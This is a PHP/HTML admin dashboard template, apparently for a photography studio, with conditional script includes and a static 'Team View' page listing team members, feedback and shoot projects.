<script src="/assets/plugins/datatable/js/buttons.bootstrap4.min.js"></script>
<script src="/assets/plugins/datatable/js/jszip.min.js"></script>
<script src="/assets/plugins/datatable/js/pdfmake.min.js"></script>
<script src="/assets/plugins/datatable/js/vfs_fonts.js"></script>
<script src="/assets/plugins/datatable/js/buttons.html5.min.js"></script>
<script src="/assets/plugins/datatable/js/buttons.print.min.js"></script>
<script src="/assets/plugins/datatable/js/buttons.colVis.min.js"></script>
<script src="/assets/plugins/datatable/dataTables.responsive.min.js"></script>
<script src="/assets/plugins/datatable/responsive.bootstrap4.min.js"></script>
<!-- Data table js -->
<script src="/assets/js/datatable.js"></script>
<!-- Datepicker js -->
<script src="/assets/plugins/date-picker/spectrum.js"></script>
<script src="/assets/plugins/date-picker/jquery-ui.js"></script>
<script src="/assets/plugins/input-mask/jquery.maskedinput.js"></script>
<!-- Timepicker js -->
<script src="/assets/plugins/time-picker/jquery.timepicker.js"></script>
<script src="/assets/plugins/time-picker/toggles.min.js"></script>
<!--Counters -->
<script src="/assets/plugins/counters/counterup.min.js"></script>
<script src="/assets/plugins/counters/waypoints.min.js"></script>
<?php endif; ?>
<?php if (false): ?>
<?php
$current_page = ['/task-view'];
if (in_array($_SERVER['REQUEST_URI'], $current_page)) :?>
<!-- Default calendar -->
<script src="/assets/plugins/calendar/underscore-min.js"></script>
<script src="/assets/plugins/calendar/moment.js"></script>
<script src="/assets/plugins/calendar/clndr.js"></script>
<script src="/assets/plugins/calendar/demo.js"></script>
<script src="/assets/plugins/rating/jquery.rating-stars.js"></script>
<script src='/assets/plugins/calendar/calendar.min.js'></script>
<script src='/assets/plugins/calendar/defalutcal.js'></script>
<?php endif; ?>
<?php
$current_page = ['/letter-overview-add'];
if (in_array($_SERVER['REQUEST_URI'], $current_page)) :?>
<!--ckeditor js-->
<script src="/assets/plugins/tinymce/tinymce.min.js"></script>
<!-- Richtext js -->
<script src="/assets/js/richtext.js"></script>
<?php endif; ?>
<?php
if (false):?>
<!-- ApexChart -->
<script src="/assets/js/apexcharts.js"></script>
<!-- Scripts -->
<script src="/assets/js/index2.js"></script>
<script src="/assets/js/index3.js"></script>
<!-- Inline js -->
<script src="/assets/js/select2.js"></script>
<?php endif; ?>
<?php
$current_page = ['/meeting-overview', '/project-view'];
if (in_array($_SERVER['REQUEST_URI'], $current_page)) :?>
<!-- Google Maps js-->
<script src="http://maps.google.com/maps/api/js?key=<KEY>"></script>
<script src="/assets/plugins/maps-google/jquery.googlemap.js"></script>
<script src="/assets/plugins/maps-google/map.js"></script>
<!-- ApexChart -->
<script src="/assets/js/apexcharts.js"></script>
<script src="/assets/js/index5.js"></script>
<!-- Vector Map js-->
<!-- <script src="/assets/plugins/jvectormap/jquery-jvectormap-2.0.2.min.js"></script>-->
<!-- <script src="/assets/plugins/jvectormap/jquery-jvectormap-world-mill-en.js"></script>-->
<!-- <script src="/assets/plugins/jvectormap/gdp-data.js"></script>-->
<!-- <script src="/assets/plugins/jvectormap/jquery-jvectormap-us-aea-en.js"></script>-->
<!-- <script src="/assets/plugins/jvectormap/jquery-jvectormap-uk-mill-en.js"></script>-->
<!-- <script src="/assets/plugins/jvectormap/jquery-jvectormap-au-mill.js"></script>-->
<!-- <script src="/assets/plugins/jvectormap/jquery-jvectormap-ca-lcc.js"></script>-->
<!-- <script src="/assets/js/jvectormap.js"></script>-->
<?php endif; ?>
<?php
$current_page = ['/test', '/tasks', '/project-view'];
if (in_array($_SERVER['REQUEST_URI'], $current_page)) :?>
<!-- Default calendar -->
<script src="/assets/plugins/calendar/underscore-min.js"></script>
<script src="/assets/plugins/calendar/moment.js"></script>
<script src="/assets/plugins/calendar/clndr.js"></script>
<script src="/assets/plugins/calendar/demo.js"></script>
<script src="/assets/plugins/rating/jquery.rating-stars.js"></script>
<script src='/assets/plugins/calendar/calendar.min.js'></script>
<script src='/assets/plugins/calendar/defalutcal.js'></script>
<!-- Calendar js -->
<script src="/assets/plugins/calendar2/js/tui-code-snippet.min.js"></script>
<script src="/assets/plugins/calendar2/js/tui-time-picker.min.js"></script>
<script src="/assets/plugins/calendar2/js/tui-date-picker.min.js"></script>
<script src="/assets/plugins/calendar2/js/moment.min.js"></script>
<script src="/assets/plugins/calendar2/js/chance.min.js"></script>
<script src="/assets/plugins/calendar2/js/tui-calendar.js"></script>
<script src="/assets/plugins/calendar2/js/calendars.js"></script>
<script src="/assets/plugins/calendar2/js/schedules.js"></script>
<script src="/assets/plugins/calendar2/js/dooray.js"></script>
<script src="/assets/plugins/calendar2/js/default.js"></script>
<?php endif; ?>
<?php
$current_page = ['/test', '/tasks'];
if (in_array($_SERVER['REQUEST_URI'], $current_page)) :?>
<!-- popover js -->
<script src="/assets/js/popover.js"></script>
<!-- Notifications js -->
<script src="/assets/plugins/notify/js/rainbow.js"></script>
<script src="/assets/plugins/notify/js/sample.js"></script>
<script src="/assets/plugins/notify/js/jquery.growl.js"></script>
<script src="/assets/plugins/notify/js/notify.js"></script>
<!-- Notify js -->
<script src="/assets/js/notify.js"></script>
<?php endif; ?>
<?php
$current_page = ['/meeting-view', '/tasks', '/deal-view'];
if (in_array($_SERVER['REQUEST_URI'], $current_page)) :?>
<!-- Index Scripts-->
<script src="/assets/js/morris.js"></script>
<script src="/assets/js/flot.js"></script>
<!---->
<!-- Morris.js Charts Plugin-->
<script src="/assets/plugins/morris/morris.min.js"></script>
<script src="/assets/plugins/morris/raphael.min.js"></script>
<!---->
<!-- Echart Plugin-->
<script src="/assets/plugins/echart/echart.js"></script>
<script src="/assets/js/echarts.js"></script>
<!---->
<!-- Chartist.js-->
<script src="/assets/plugins/chartist/chartist.js"></script>
<script src="/assets/plugins/chartist/chart.chartist.js"></script>
<script src="/assets/plugins/chartist/chartist-plugin-tooltip.js"></script>
<!---->
<!---->
<!-- Highcharts Plugin-->
<script src="/assets/plugins/highcharts/highcharts.js"></script>
<script src="/assets/plugins/highcharts/highcharts-3d.js"></script>
<script src="/assets/plugins/highcharts/exporting.js"></script>
<script src="/assets/plugins/highcharts/export-data.js"></script>
<script src="/assets/plugins/highcharts/histogram-bellcurve.js"></script>
<script src="/assets/js/highcharts.js"></script>
<!-- Timeline js -->
<script src="/assets/plugins/timeline/timeline.min.js"></script>
<script src="/assets/js/timeline.js"></script>
<?php endif; ?>
<?php
$current_page = ['/test', '/tasks'];
if (in_array($_SERVER['REQUEST_URI'], $current_page)) :?>
<!-- Sweet alert Plugin -->
<script src="/assets/plugins/sweet-alert/sweetalert.min.js"></script>
<script src="/assets/js/sweet-alert.js"></script>
<?php endif; ?>
<?php
$current_page = ['/mmm'];
if (in_array($_SERVER['REQUEST_URI'], $current_page)) :?>
<!-- WYSIWYG Editor js -->
<script src="/assets/plugins/wysiwyag/jquery.richtext.js"></script>
<script src="/assets/plugins/wysiwyag/richText1.js"></script>
<!--Accordion-Wizard-Form js-->
<script src="/assets/plugins/accordion-Wizard-Form/jquery.accordion-wizard.min.js"></script>
<script src="/assets/plugins/bootstrap-wizard/jquery.bootstrap.wizard.js"></script>
<script src="/assets/js/wizard.js"></script>
<!--Rang slider js-->
<script src="/assets/plugins/rangeslider/ion.rangeSlider.js"></script>
<script src="/assets/js/rangeslider.js"></script>
<?php endif; ?>
<!-- Chart js -->
<script src="/assets/plugins/chart/chart.bundle.js"></script>
<script src="/assets/plugins/chart/utils.js"></script>
<script src="/assets/js/chart.js"></script>
<?php endif; ?>
<?php require "render_script.php" ?>
</body>
</html><file_sep>
<!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Team View</h4>
<div class="float-right ml-auto">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary"><i class="fas fa-pen"></i> Edit</a>
</div>
<div class="float-right ml-1">
<a href="#" class="btn btn-primary bg-red"><i class="fas fa-trash mr-1"></i>Delete</a>
</div>
</div>
</div>
<!--page header-->
<div class="row">
<div class="col-xl-3 col-lg-6 col-md-6">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro11.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#">Saba Nouri</a></h5>
<span>Team Leader</span>
<div >
<span class="badge badge-default">leader</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="card">
<div class="card-body dash2">
<div class="chart-circle chart-circle-lg float-left" data-value="1" data-thickness="5" data-color="#5C6C7C">
<div class="chart-circle-value fs"><span class="fab fa-hubspot fa-3x text-muted"></span></div>
</div>
<span class="count-numbers counter font-weight-bold">37</span>
<span class="count-name font-weight-bold">Total Projects</span>
</div>
</div>
</div>
<div class="col-xl-9 col-lg-12 col-md-12">
<div class="row">
<div class="col-md-12">
<div class="card ">
<div class="card-body">
<div class="table-responsive">
<table class="table card-table table-vcenter text-nowrap text-center">
<thead class="bg-primary">
<tr>
<th>Id</th>
<th></th>
<th>Name</th>
<th>Feedback</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>2345</td>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro5.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td>please check pricing Info </td>
<td class="text-nowrap">Jan 13, 2019</td>
</tr>
<tr>
<td>4562</td>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro18.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td>New stock</td>
<td class="text-nowrap">Jan 15, 2019</td>
</tr>
<tr>
<td>8765</td>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro1.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td>Daily updates</td>
<td class="text-nowrap">Jan 8, 2019</td>
</tr>
<tr>
<td>2665</td>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro13.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td>available item list</td>
<td class="text-nowrap">Jan 28, 2019</td>
</tr>
<tr>
<td>6854</td>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro9.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td>Provide Best Services</td>
<td class="text-nowrap">Jan 2, 2019</td>
</tr>
<tr>
<td>1245</td>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro14.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td>Provide Best Services</td>
<td class="text-nowrap">Feb 2, 2018</td>
</tr>
<tr>
<td>1245</td>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro8.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td>Provide Best Services</td>
<td class="text-nowrap">Feb 2, 2018</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-header">
<div class="card-title">
Projects
</div>
</div>
<div class="card-body">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Owner</th>
<th class="wd-10p border-bottom-0 text-center">Hold Date</th>
<th class="wd-10p border-bottom-0 text-center">Tags</th>
<th class="wd-15p border-bottom-0 text-center">Project Leader</th>
<th class="wd-15p border-bottom-0 text-center">Product Owner</th>
<th class="wd-25p border-bottom-0 text-center">Current milestone</th>
<th class="wd-20p border-bottom-0 text-center">Branch</th>
<th class="wd-25p border-bottom-0 text-center">Progress</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Portrait</td>
<td class="text-center"><NAME></td>
<td class="text-center">12 February 2020</td>
<td class="text-center">formality</td>
<td class="text-center"><NAME></td>
<td class="text-center">Azam Omidi</td>
<td class="text-center">3 out of 10</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-95 font-weight-bold ">95%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Birthday</td>
<td class="text-center"><NAME></td>
<td class="text-center">29 June 2020</td>
<td class="text-center">wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center">Pooneh Saber</td>
<td class="text-center">2 out of 15</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-35 font-weight-bold ">35%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME>imani</td>
<td class="text-center">6 out of 9</td>
<td class="text-center">Valiasr</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-40 font-weight-bold ">40%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center">22 March 2019</td>
<td class="text-center">wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">14 out of 14</td>
<td class="text-center">Khaghani</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-15 font-weight-bold ">15%
</div>
</div>
</td>
<td class="text-center">Completed</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Engagement</td>
<td class="text-center"><NAME></td>
<td class="text-center">06 May 2019</td>
<td class="text-center">wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">9 out of 9</td>
<td class="text-center">Khaghani</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-70 font-weight-bold ">70%
</div>
</div>
</td>
<td class="text-center">Completed</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Maternity</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center">17 April 2019</td>
<td class="text-center">formality</td>
<td class="text-center"><NAME></td>
<td class="text-center">Saghar Salami</td>
<td class="text-center">3 out of 21</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-85 font-weight-bold ">85%
</div>
</div>
</td>
<td class="text-center">On going</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Newborn</td>
<td class="text-center"><NAME></td>
<td class="text-center">10 July 2019</td>
<td class="text-center">formality</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center"><NAME></td>
<td class="text-center">9 out of 13</td>
<td class="text-center">valiasr</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30 font-weight-bold ">30%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Family</td>
<td class="text-center"><NAME></td>
<td class="text-center">27 October 2019</td>
<td class="text-center">formality</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center"><NAME></td>
<td class="text-center">5 out of 15</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-65 font-weight-bold ">65%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
</div>
<div class="row">
<div class="col-12 col-md-12 col-lg-12">
<div class="card">
<div class="card-header">
<h4>Monthly Efficiency</h4>
</div>
<div class="card-body">
<div id="highchart7"></div>
<button id="plain" class="btn btn-primary btn-sm">Plain</button>
<button id="inverted" class="btn btn-primary btn-sm">Inverted</button>
<button id="polar" class="btn btn-primary btn-sm">Polar</button>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-12">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Team Members</h3>
</div>
<div class="card-body">
<div class="row ">
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro1.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Product Owner</span>
<div >
<span class="badge badge-default">manager</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro14.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME>ane</a></h5>
<span>Owner 1</span>
<div >
<span class="badge badge-default">Religious</span>
<span class="badge badge-default">sullen</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro13.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Owner 2</span>
<div >
<span class="badge badge-default">religious</span>
<span class="badge badge-default">energetic</span>
<span class="badge badge-default">joyful</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro9.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Project Manager</span>
<div >
<span class="badge badge-default">manager</span>
<span class="badge badge-default">supervisor</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro8.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Photo Designer</span>
<div >
<span class="badge badge-default">photo</span>
<span class="badge badge-default">design</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro11.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Photographer</span>
<div >
<span class="badge badge-default">photo</span>
<span class="badge badge-default">edit</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro3.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Designer</span>
<div >
<span class="badge badge-default">design</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro7.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Quality Supervisor</span>
<div >
<span class="badge badge-default">check</span>
<span class="badge badge-default">supervisor</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro15.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Photo Editor</span>
<div >
<span class="badge badge-default">edit</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro10.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Film Editor</span>
<div >
<span class="badge badge-default">edit</span>
<span class="badge badge-default">design</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro6.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Cameraman</span>
<div >
<span class="badge badge-default">film</span>
<span class="badge badge-default">camera</span>
<span class="badge badge-default">edit</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro18.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Photo Editor</span>
<div >
<span class="badge badge-default">edit</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-8 col-lg-12 col-md-12">
<div class="card">
<div class="card-body">
<div class="media ">
<div class="media-left">
<a href="#">
<img class="media-object brround"
src="../assets/images/photos/pro11.jpg" alt="media1">
</a>
</div>
<div class="media-body">
<h4 class="media-heading"><NAME></h4>
Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium
doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore
veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim
ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia
consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt
<div class="media">
<div class="media-left">
<a href="#">
<img class="media-object brround"
src="../assets/images/photos/pro9.jpg" alt="media1">
